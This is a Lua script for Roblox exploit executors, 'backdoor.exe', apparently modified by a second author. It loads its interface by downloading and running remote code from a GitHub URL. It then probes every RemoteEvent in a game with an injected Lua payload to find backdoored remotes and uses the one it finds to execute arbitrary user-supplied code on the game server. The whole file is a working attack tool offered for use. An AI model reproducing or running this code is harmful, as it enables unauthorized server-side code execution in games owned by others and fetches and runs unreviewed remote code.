--[[
    backdoor.exe, the best backdoor scanner in Roblox.
    Copyright (C) 2021	iK4oS
    The maker: iK4oS

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.
]]

--I JUST MODIFIED IT SO ITS WORKING BETTER :Troll: - SRK1D


local localPlayer = game:GetService("Players").LocalPlayer
local randID = tostring(localPlayer.UserId * 2)..tostring(math.random(100000000,1000000000))

local UI_PARENT = game:GetService("CoreGui").RobloxGui
local INV_CODE = "xJHCqm84cW"

local function notify(text,cb,b1,b2)
	game:GetService("StarterGui"):SetCore(
		"SendNotification",{
			Title = "backdoor.exe",
			Duration = 3,
			Text = text,
			Callback = cb,
			Button1 = b1,
			Button2 = b2
		}
	)
end

-- Removing dubs
for _, ui in pairs(UI_PARENT:GetChildren()) do
	if ui:IsA("ScreenGui") and string.match(ui.Name, tostring(localPlayer.UserId * 2)) then
		ui:Destroy()
	end
end

local UI = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/v6/ui.lua"))()
if syn then syn.protect_gui(UI) end

UI.Name = randID
UI.Parent = UI_PARENT

local function findObject(name)
	 for i, object in pairs(UI:GetDescendants()) do
		if object.Name == name then return object end
	 end
end

UI.Main.Active = true
UI.Main.Draggable = true

-- Top Bar
local closeButton = findObject("Close_Button")
local statusText = findObject("Status")
local statusColor = findObject("Status_Color")
local r6Button = findObject("R6Button")

-- Source Frame
local sourceFrame = findObject("sourceFrame")
local source = findObject("source")
local lines = findObject("lines")

-- Source Buttons
local sourceButtons = findObject("Main_Buttons")
--- Left
local executeButton = findObject("Execute_Button")
local clearButton = findObject("Clear_Button")
local hideButton = findObject("Hide_Button")
--- Right
local scanButton = findObject("Scan_Button")
local inviteButton = findObject("Invite_Button")


local BackdoorUI = {
	attached = false,
	backdoorRemote = nil,
	scanning = false
}

local function changeUiState()

	local attachColors = {
		["true"] = Color3.fromRGB(95, 185, 47),
		["false"] = Color3.fromRGB(185, 48, 48)
	}
	local attachTexts = {
		["true"] = "Attached",
		["false"] = "Unattached"
	}

	BackdoorUI.attached = not BackdoorUI.attached
	statusColor.BackgroundColor3 = attachColors[tostring(BackdoorUI.attached)]
	statusText.Text = attachTexts[tostring(BackdoorUI.attached)]

	if BackdoorUI.attached then
		notify("Backdoor Found")
	end
end

--Waste of time - SRK1D
local function stringToInstance(str)
	 -- Credits to the DevForum
	local dir = str
	local segments = dir:split(".")
	local current = game
	for i, v in pairs(segments) do
		 current = current[v]
	end
	return current
end

--Why tf would you do that? (PS. Using anti-censoring is a way to get banned - The users)
local function scan()

    --for it to decently work

    local function gen()
        local R = math.random(10, 20)
        local F = ""
        for i = 1, R do
            F = F..string.char(math.random(67, 97))
        end
        return F
    end

    local function adonis_check(rem)
        if (rem.Parent == game:GetService("ReplicatedStorage") and #rem:GetChildren() ==1 and rem:GetChildren()[1].Name == "__FUNCTION") then
            return false
        else
            return true
        end
    end

    if BackdoorUI.scanning then return end
	if BackdoorUI.attached then changeUiState() end

    local remotes_table = {}
    for i, v in next, game:GetDescendants() do
        if (v:IsA("RemoteEvent") and adonis_check(v)) then
           remotes_table[gen()] = v
        end
    end

    --The lag is going to be extreme if there is more than 100k remotes :troll:
    local index = 0
    for i, v in next, remotes_table do

		--Will make so the ping doesnt significantly be higher
		index = index + 1
		if index % 73 == 0 then wait(0.011) end

        spawn(function()
            v:FireServer([[local F = Instance.new("StringValue"); F.Parent = game:GetService("Workspace"); F.Name = "]]..i..[["]])
        end)

        game:GetService("RunService").RenderStepped:Wait()
    end

    --Should be enough I guess :troll:
    backdoor = nil
    wait(0.5)

    for i, v in next, remotes_table do
        if game:GetService("Workspace"):FindFirstChild(i) then
            game:GetService("Workspace"):FindFirstChild(i):Destroy()
            changeUiState()
            notify("Found a backdoor")
            BackdoorUI.backdoorRemote = v
            backdoor = v
            return
        end
    end

    statusText.Text = "Rechecking"

    for i, v in next, remotes_table do
        if game:GetService("Workspace"):FindFirstChild(i) then
            game:GetService("Workspace"):FindFirstChild(i):Destroy()
            changeUiState()
            notify("Found a backdoor")
            BackdoorUI.backdoorRemote = v
            backdoor = v
            return
        end
    end

    BackdoorUI.scanning = false
	notify("Failed to find a backdoor")
    return
end

local function executeScript(scrpt)
	if not scrpt then scrpt = source.Text end

	if not BackdoorUI.attached then

		local function callback(text)
			if text == "Yes" then
				scan()
				BackdoorUI.backdoorRemote:FireServer(scrpt)
			elseif text == "No" then
				return
			end
		end

		local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback

		notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
	else
		BackdoorUI.backdoorRemote:FireServer(scrpt)
	end
end

local function promtDicordInvite(invCode)

	setclipboard(invCode)

    local httpService = game:GetService("HttpService")
    local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request

    if not httpRequest then notify("Invite code copied!") return end

    local request = httpRequest({
        Url = "http://127.0.0.1:6463/rpc?v=1",
        Method = "POST",

        Headers = {
            ['Content-Type'] = 'application/json',
            Origin = 'https://discord.com'
        },

        Body = httpService:JSONEncode({
            args = {code = invCode},
            cmd = 'INVITE_BROWSER',
            nonce = httpService:GenerateGUID(false)
        })
    })
	if request.StatusCode ~= 200 then notify("Invite code copied!") return end
	notify("You have been promted to join our Discord. Open your Discord.")
end

-- Buttons
closeButton.MouseButton1Click:Connect(function() UI:Destroy() end)
scanButton.MouseButton1Click:Connect(scan)
executeButton.MouseButton1Click:Connect(executeScript)
r6Button.MouseButton1Click:Connect(function() executeScript("require(3041175937):r6('"..localPlayer.Name.."')") end)
clearButton.MouseButton1Click:Connect(function() source.Text = ""  end)
hideButton.MouseButton1Click:Connect(function() sourceFrame.Visible = not sourceFrame.Visible end)
inviteButton.MouseButton1Click:Connect(function() promtDicordInvite(INV_CODE) end)
notify("Make sure to join our Discord!\nCode: "..INV_CODE)

--	k4scripts
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